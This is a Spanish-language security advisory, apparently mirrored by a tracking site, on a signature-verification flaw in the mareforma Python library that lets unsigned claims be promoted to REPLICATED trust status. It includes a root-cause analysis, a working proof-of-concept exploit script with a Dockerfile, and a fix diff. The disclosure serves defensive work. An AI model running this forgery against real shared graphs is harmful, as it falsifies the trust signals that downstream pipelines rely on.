Mareforma: Afirmaciones no firmadas pueden ser promovidas a REPLICATED por falta de comprobación de firmas en la convergencia
Resumen
mareforma 0.3.3 contiene un fallo crítico de integridad en la lógica de convergencia de REPLICATED (_maybe_update_replicated_unlocked() en mareforma/db/core.py:1300-1319). La consulta SQL de selección de pares que determina si dos afirmaciones independientes «coinciden» en el mismo anclaje no verifica que ninguna de las afirmaciones contenga una firma criptográfica válida de una clave de validador registrada. Dado que rekor_enabled=False es la opción predeterminada y establece automáticamente transparency_logged=1 al insertar, cualquier afirmación —esté firmada o no— satisface de inmediato la condición previa de convergencia. Un atacante sin clave de Mareforma puede escribir una afirmación no firmada en un grafo compartido, hacer que converja con una afirmación de un par legítimamente firmada y hacer que se promueva al estado REPLICATED. La fila falsificada REPLICATED es devuelta por la consulta de confianza predeterminada (graph.query(min_support="REPLICATED")), lo que permite al atacante inyectar señales falsas de confianza en cualquier consumidor dependiente que confíe en REPLICATED como una garantía de respaldo multipartito.
Detalles
Causa raíz — mareforma/db/core.py:1300-1319
La función de convergencia _maybe_update_replicated_unlocked() selecciona afirmaciones de pares mediante una consulta SQL que filtra por status, unresolved, transparency_logged y artifact_hash, pero no contiene ningún predicado sobre signature_bundle o la identidad de clave registrada:
# mareforma/db/core.py:1300-1319
rows = conn.execute(
f"""
SELECT DISTINCT c.claim_id, c.generated_by
FROM claims c, json_each(c.supports_json) j
WHERE j.value IN ({placeholders})
AND c.claim_id != ?
AND c.generated_by != ?
AND c.support_level != 'ESTABLISHED'
AND c.status = 'open'
AND c.unresolved = 0
AND c.transparency_logged = 1
AND (
c.artifact_hash IS NULL
OR ? IS NULL
OR c.artifact_hash = ?
)
""",
Una vez recopiladas las filas de pares, el sumidero en core.py:1324-1334 promueve todos los identificadores de afirmaciones coincidentes —incluido el del atacante— a REPLICATED sin ninguna validación adicional.
Por qué se satisfacen trivialmente las condiciones previas
transparency_logged = 1se establece automáticamente. Cuandorekor_enabled=False(el valor predeterminado de la biblioteca),core.py:1061establecetransparency_logged = 1inmediatamente después de la inserción. No hay ningún paso con Rekor, por lo que cada afirmación pasa a ser elegible para convergencia en el momento en que se escribe.require_signed=Falsees el valor predeterminado.mareforma/__init__.py:41establece por defectorequire_signedenFalse. Cuando el atacante abre el grafo con una ruta de clave inexistente,__init__.py:132-138establece silenciosamentesigner = None, permitiendo la inserción de afirmaciones no firmadas.assert_claim()no realiza control de firma._graph.py:284-291solo valida la resolución DOI en la listasupportsantes de reenviar los campos controlados por el atacante a_db.add_claim()(_graph.py:373-380).
Por qué la afirmación falsificada aparece en las consultas de confianza
La ruta de consulta predeterminada en core.py:3647-3650 solo filtra las afirmaciones PRELIMINARY cuyo generador no está registrado. Las afirmaciones en estado REPLICATED se devuelven incondicionalmente, por lo que la fila falsificada no firmada es indistinguible de una fila legítimamente convergida en cualquier consumidor dependiente.
La función auxiliar que debió haberse invocado
core.py:3661-3669 contiene _extract_signature_bundle_keyid(), que puede extraer el identificador de clave de una signature_bundle. Este asistente existe pero nunca se invoca en la ruta de convergencia, lo que indica que la validación se omitió involuntariamente y no por una decisión de diseño.
Flujo completo de datos (origen → sumidero)
| Paso | Ubicación | Descripción |
|---|---|---|
| 1 | cli.py:700-739 |
CLI acepta valores arbitrarios de TEXT, --supports, --generated-by; las líneas 720-723 permiten explícitamente el modo de grafo no firmado |
| 2 | __init__.py:128-138 |
Archivo de clave ausente → signer = None (no se genera ningún error) |
| 3 | _graph.py:284-291 |
assert_claim() reenvía supports controlado por el usuario solo tras verificar DOI |
| 4 | _graph.py:373-380 |
Llama a _db.add_claim() con campos de afirmación controlados por el atacante |
| 5 | db/core.py:1208-1214 |
La convergencia posterior a la inserción se activa cuando unresolved == False y transparency_logged == 1 |
| 6 | db/core.py:1300-1319 |
SQL de selección de pares: sin comprobación de signature_bundle ni clave registrada (sumidero vulnerable) |
| 7 | db/core.py:1324-1334 |
Actualiza las afirmaciones de pares y del atacante a REPLICATED |
| 8 | db/core.py:3647-3650 |
La consulta predeterminada devuelve filas REPLICATED sin validación de firma |
PoC
Requisitos previos
python3 -m venv /tmp/mareforma-poc
/tmp/mareforma-poc/bin/pip install mareforma==0.3.3
O ejecute la imagen Docker totalmente autocontenida:
# Build (from the repository root, with the local repo mounted under ./repo)
docker build -f vuln-001/Dockerfile -t mareforma-vuln001 .
# Run (no network required)
docker run --rm --network none mareforma-vuln001
Ataque paso a paso
#!/usr/bin/env python3
from pathlib import Path
from tempfile import TemporaryDirectory
import mareforma
from mareforma import signing
with TemporaryDirectory() as td:
root = Path(td)
key_path = root / "root-key.pem"
# Step 1: Legitimate root agent bootstraps a key and creates an ESTABLISHED anchor.
signing.bootstrap_key(key_path)
with mareforma.open(root, key_path=key_path) as g:
anchor = g.assert_claim(
"established anchor",
classification="DERIVED",
generated_by="seed/root",
seed=True,
)
# Step 2: Honest peer asserts a signed PRELIMINARY claim supporting the anchor.
honest = g.assert_claim(
"same result",
supports=[anchor],
generated_by="honest-agent",
)
# Step 3: Attacker opens the same graph with a non-existent key path.
# __init__.py:132-138 silently sets signer=None — unsigned mode.
attacker_key = root / "missing-attacker-key.pem" # does not exist
with mareforma.open(root, key_path=attacker_key) as g:
# Step 4: Attacker inserts an unsigned claim supporting the same anchor.
# Convergence fires in _maybe_update_replicated_unlocked():
# - Two claims share the same ESTABLISHED anchor
# - Different generated_by values
# - Both have transparency_logged=1 (Rekor disabled by default)
# - No signature or enrollment check performed
attack = g.assert_claim(
"forged convergence",
supports=[anchor],
generated_by="attacker-agent",
)
attack_info = g.get_claim(attack)
print(attack_info["support_level"]) # → REPLICATED
print(attack_info["signature_bundle"] is None) # → True (unsigned)
# Step 5: The unsigned REPLICATED claim appears in the default trust query.
results = g.query(min_support="REPLICATED")
for r in results:
print((r["text"], r["support_level"],
r["signature_bundle"] is None, r["generator_enrolled"]))
Salida esperada
REPLICATED
True
('established anchor', 'ESTABLISHED', False, True)
('forged convergence', 'REPLICATED', True, False) # ← unsigned, unenrolled
('same result', 'REPLICATED', False, True)
La afirmación falsificada (signature_bundle=None, generator_enrolled=False) se promueve a REPLICATED y se devuelve junto a afirmaciones legítimamente firmadas.
Remediación
La ruta de convergencia debe requerir que tanto la afirmación entrante como cada afirmación de pares seleccionada lleven una signature_bundle válida firmada por una clave de validador registrada distinta:
--- a/mareforma/db/core.py
+++ b/mareforma/db/core.py
@@
- new_status_row = conn.execute(
- "SELECT status FROM claims WHERE claim_id = ?", (new_claim_id,),
+ new_status_row = conn.execute(
+ "SELECT status, signature_bundle FROM claims WHERE claim_id = ?",
+ (new_claim_id,),
).fetchone()
if new_status_row is None or new_status_row["status"] != "open":
return
+ from mareforma import validators as _validators
+ new_keyid = _extract_signature_bundle_keyid(new_status_row["signature_bundle"])
+ if new_keyid is None or not _validators.is_enrolled(conn, new_keyid):
+ return
@@
- SELECT DISTINCT c.claim_id, c.generated_by
+ SELECT DISTINCT c.claim_id, c.generated_by, c.signature_bundle
@@
- if not rows:
+ peer_ids = []
+ for row in rows:
+ peer_keyid = _extract_signature_bundle_keyid(row["signature_bundle"])
+ if peer_keyid is None or peer_keyid == new_keyid:
+ continue
+ if not _validators.is_enrolled(conn, peer_keyid):
+ continue
+ peer_ids.append(row["claim_id"])
+
+ if not peer_ids:
return
- peer_ids = [r["claim_id"] for r in rows] + [new_claim_id]
+ peer_ids = peer_ids + [new_claim_id]
Impacto
Se trata de una vulnerabilidad de omisión de integridad (CWE-347: Verificación inadecuada de firma criptográfica). REPLICATED es la señal principal de confianza multipartita de mareforma, destinada a certificar que al menos dos validadores registrados e independientes han observado y firmado el mismo resultado. Al omitir silenciosamente las comprobaciones de firma y registro en la ruta de convergencia, la biblioteca permite a cualquier agente local —sin credenciales criptográficas— falsificar esta señal de confianza.
Quién se ve afectado: Cualquier usuario o sistema que consulte un grafo de mareforma con min_support="REPLICATED" y trate el resultado como evidencia de validación multipartita. Esto incluye canalizaciones automatizadas, paneles de auditoría, motores de políticas o consumidores posteriores que dependan del estado REPLICATED para tomar decisiones de confianza (por ejemplo, aceptar un conjunto de datos, aprobar un artefacto de modelo o publicar un resultado).
Dado que la afirmación falsificada no se puede distinguir de una legítimamente convergida en los resultados de la consulta, los consumidores no pueden detectar el ataque sin una inspección fuera de banda de los campos signature_bundle y generator_enrolled, campos que la interfaz de consulta predeterminada de la biblioteca no muestra de manera destacada.
La vulnerabilidad es explotable en la configuración predeterminada: require_signed=False, rekor_enabled=False. El ataque requiere únicamente acceso local de escritura a una base de datos de grafos compartida (por ejemplo, un sistema de archivos compartido o un montaje de red con permisos de escritura) y ninguna clave de Mareforma.
Artefactos de reproducción
Dockerfile
FROM python:3.12-slim
LABEL description="VULN-001 PoC: Unsigned Claims Promoted to REPLICATED (CWE-347)"
LABEL version="0.3.3"
WORKDIR /app
# Copy the local repository and install from source
COPY repo /app/repo
RUN pip install --no-cache-dir /app/repo
# Copy the proof-of-concept script
COPY vuln-001/poc.py /app/poc.py
CMD ["python3", "/app/poc.py"]
poc.py
#!/usr/bin/env python3
"""
VULN-001 Proof of Concept
Title: Unsigned Claims Promoted to REPLICATED via Missing Signature Enforcement
CWE-347: Improper Verification of Cryptographic Signature
CVSS: 7.1 (High) — CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
Root cause:
_maybe_update_replicated_unlocked() in mareforma/db/core.py:1300-1319 selects
peer claims for convergence without checking signature_bundle or enrolled-key
identity. When rekor_enabled=False (the default), transparency_logged is set
to 1 immediately (core.py:1061), so every claim—signed or not—is eligible for
the convergence query. An attacker with no key can therefore write an unsigned
claim that converges with a legitimate signed peer claim and is promoted to
REPLICATED status. The forged REPLICATED row is then returned by the default
query path (core.py:3647-3650) that only filters unenrolled PRELIMINARY claims.
Attack steps:
1. Honest root agent bootstraps a key; auto-enrolls as root validator on first
graph open; asserts an ESTABLISHED seed anchor claim.
2. Honest agent asserts a signed PRELIMINARY peer claim supporting the anchor.
3. Attacker opens the same graph WITHOUT any key (missing-key.pem does not
exist → signer=None per __init__.py:132-138).
4. Attacker asserts an unsigned PRELIMINARY claim supporting the same anchor.
5. Convergence fires: two claims, same ESTABLISHED anchor, different
generated_by, both have transparency_logged=1 (Rekor disabled).
6. Both claims are promoted to REPLICATED. No signature check is performed.
7. graph.query(min_support="REPLICATED") returns the unsigned forged claim.
Expected evidence (deterministic exit code 0):
- attack claim support_level == "REPLICATED"
- attack claim signature_bundle is None (unsigned)
- attack claim generator_enrolled == False
- forged unsigned REPLICATED claim appears in query results
"""
import sys
from pathlib import Path
from tempfile import TemporaryDirectory
import mareforma
from mareforma import signing
SEPARATOR = "-" * 70
def banner(msg: str) -> None:
print(f"\n{SEPARATOR}")
print(f" {msg}")
print(SEPARATOR)
def main() -> int:
print("VULN-001 PoC — Unsigned Claims Promoted to REPLICATED (CWE-347)")
print(f"mareforma version: {mareforma.__version__}")
with TemporaryDirectory() as td:
root = Path(td)
key_path = root / "root-key.pem"
# ------------------------------------------------------------------
# Step 1: Bootstrap a key for the legitimate root agent.
# On first graph open, this key auto-enrolls as the root
# validator, which is required for seed=True.
# ------------------------------------------------------------------
banner("Step 1: Bootstrap signing key for honest root agent")
signing.bootstrap_key(key_path)
print(f" Key path : {key_path}")
print(f" Exists : {key_path.exists()}")
# ------------------------------------------------------------------
# Step 2: Honest root agent creates an ESTABLISHED anchor.
# Uses seed=True, which requires an enrolled validator.
# The first open() with a fresh key auto-enrolls it.
# ------------------------------------------------------------------
banner("Step 2: Honest root agent — create ESTABLISHED anchor + signed peer claim")
with mareforma.open(root, key_path=key_path) as g:
anchor = g.assert_claim(
"established anchor",
classification="DERIVED",
generated_by="seed/root",
seed=True,
)
anchor_info = g.get_claim(anchor)
print(f" anchor claim_id : {anchor}")
print(f" anchor support_level: {anchor_info['support_level']}")
assert anchor_info["support_level"] == "ESTABLISHED", (
f"Unexpected anchor level: {anchor_info['support_level']}"
)
# Honest agent adds a signed peer claim supporting the anchor.
honest = g.assert_claim(
"same result",
supports=[anchor],
generated_by="honest-agent",
)
honest_info = g.get_claim(honest)
print(f" honest claim_id : {honest}")
print(f" honest support_level: {honest_info['support_level']}")
print(f" honest signed : {honest_info['signature_bundle'] is not None}")
# ------------------------------------------------------------------
# Step 3: Attacker opens the graph with a non-existent key.
# __init__.py:132-138: missing file → signer=None (unsigned mode).
# ------------------------------------------------------------------
banner("Step 3: Attacker opens graph WITHOUT a key — unsigned mode")
attacker_key = root / "missing-attacker-key.pem"
print(f" Attacker key path: {attacker_key}")
print(f" Attacker key exists: {attacker_key.exists()} (intentionally absent)")
with mareforma.open(root, key_path=attacker_key) as g:
# Step 4: Attacker asserts an unsigned claim with the same anchor.
# Convergence logic fires: two claims, same ESTABLISHED
# anchor, different generated_by, both transparency_logged=1.
banner("Step 4: Attacker inserts UNSIGNED claim — triggers convergence")
attack = g.assert_claim(
"forged convergence",
supports=[anchor],
generated_by="attacker-agent",
)
attack_info = g.get_claim(attack)
attack_support_level = attack_info["support_level"]
attack_unsigned = attack_info["signature_bundle"] is None
attack_enrolled = attack_info.get("generator_enrolled", False)
print(f" attack claim_id : {attack}")
print(f" attack support_level : {attack_support_level}")
print(f" attack unsigned : {attack_unsigned} (signature_bundle is None)")
print(f" attack enrolled : {attack_enrolled}")
# Step 5: Verify the unsigned REPLICATED claim appears in the
# default query that consumers rely on for trust decisions.
banner("Step 5: Query min_support='REPLICATED' — should include forged claim")
results = g.query(min_support="REPLICATED")
print(f" Total REPLICATED results: {len(results)}")
forged_in_results = False
for r in results:
is_forged = (
r["signature_bundle"] is None
and r.get("generator_enrolled") is False
and r["support_level"] == "REPLICATED"
)
marker = " [FORGED]" if is_forged else " "
print(
f"{marker} text={r['text']!r:30s} "
f"level={r['support_level']:12s} "
f"unsigned={r['signature_bundle'] is None!s:5s} "
f"enrolled={r.get('generator_enrolled', '?')}"
)
if is_forged:
forged_in_results = True
# ------------------------------------------------------------------
# Verdict
# ------------------------------------------------------------------
banner("Verdict")
conditions = {
"attack claim support_level == REPLICATED": attack_support_level == "REPLICATED",
"attack claim is UNSIGNED (signature_bundle is None)": attack_unsigned,
"attack generator_enrolled == False": attack_enrolled is False,
"forged REPLICATED claim visible in query results": forged_in_results,
}
all_pass = True
for desc, result in conditions.items():
status = "PASS" if result else "FAIL"
print(f" [{status}] {desc}")
if not result:
all_pass = False
if all_pass:
print(
"\n [CONFIRMED] VULN-001: unsigned claim promoted to REPLICATED.\n"
" An attacker without any key can forge graph trust.\n"
" The convergence path (core.py:1300-1319) does not check\n"
" signature_bundle or enrolled-key identity."
)
return 0
else:
print(
"\n [NOT TRIGGERED] One or more conditions failed.\n"
" Vulnerability may have been patched or env differs."
)
return 1
if __name__ == "__main__":
sys.exit(main())
Qué hacer
Actualice a mareforma versión 0.3.7 o posterior. La ruta de convergencia debe exigir que tanto la notificación entrante como cada notificación de pares seleccionada contengan una signature_bundle válida firmada por una clave de validador registrada distinta:
--- a/mareforma/db/core.py
+++ b/mareforma/db/core.py
@@
- new_status_row = conn.execute(
- "SELECT status FROM claims WHERE claim_id = ?", (new_claim_id,),
+ new_status_row = conn.execute(
+ "SELECT status, signature_bundle FROM claims WHERE claim_id = ?",
+ (new_claim_id,),
).fetchone()
if new_status_row is None or new_status_row["status"] != "open":
return
+ from mareforma import validators as _validators
+ new_keyid = _extract_signature_bundle_keyid(new_status_row["signature_bundle"])
+ if new_keyid is None or not _validators.is_enrolled(conn, new_keyid):
+ return
@@
- SELECT DISTINCT c.claim_id, c.generated_by
+ SELECT DISTINCT c.claim_id, c.generated_by, c.signature_bundle
@@
- if not rows:
+ peer_ids = []
+ for row in rows:
+ peer_keyid = _extract_signature_bundle_keyid(row["signature_bundle"])
+ if peer_keyid is None or peer_keyid == new_keyid:
+ continue
+ if not _validators.is_enrolled(conn, peer_keyid):
+ continue
+ peer_ids.append(row["claim_id"])
+
+ if not peer_ids:
return
- peer_ids = [r["claim_id"] for r in rows] + [new_claim_id]
+ peer_ids = peer_ids + [new_claim_id]
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Python (PyPI) | mareforma | >= 0.3.0, < 0.3.7 | 0.3.7 |
Referencias
- https://github.com/mareforma/mareforma/security/advisories/GHSA-8776-qf3h-26r3
- https://nvd.nist.gov/vuln/detail/CVE-2026-71535
- https://github.com/mareforma/mareforma/pull/18
- https://github.com/mareforma/mareforma/commit/e1bf09e515693a7f2a2a80852b05fa66be44302e
- https://github.com/mareforma/mareforma
- https://github.com/mareforma/mareforma/releases/tag/v0.3.7
- Vector CVSS
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N- Debilidad (CWE)
CWE-347- Plataforma
- Python (PyPI)
- Paquete
mareforma- Publicada
- 19.11.2026
- Actualizado
- 20.11.2026 10:00
Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.
OSV / GitHub Advisory Database - GHSA-8776-qf3h-26r3 - CC BY 4.0
Historial de vulnerabilidades: mareforma
Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 5
- Primera → última
- 11.2026 11.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Alta 2
- Media 3
Divulgaciones por año
- 2026: 5
-
Mareforma: Afirmaciones no firmadas pueden ser promovidas a REPLICATED por falta de comprobación de firmas en la convergencia esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.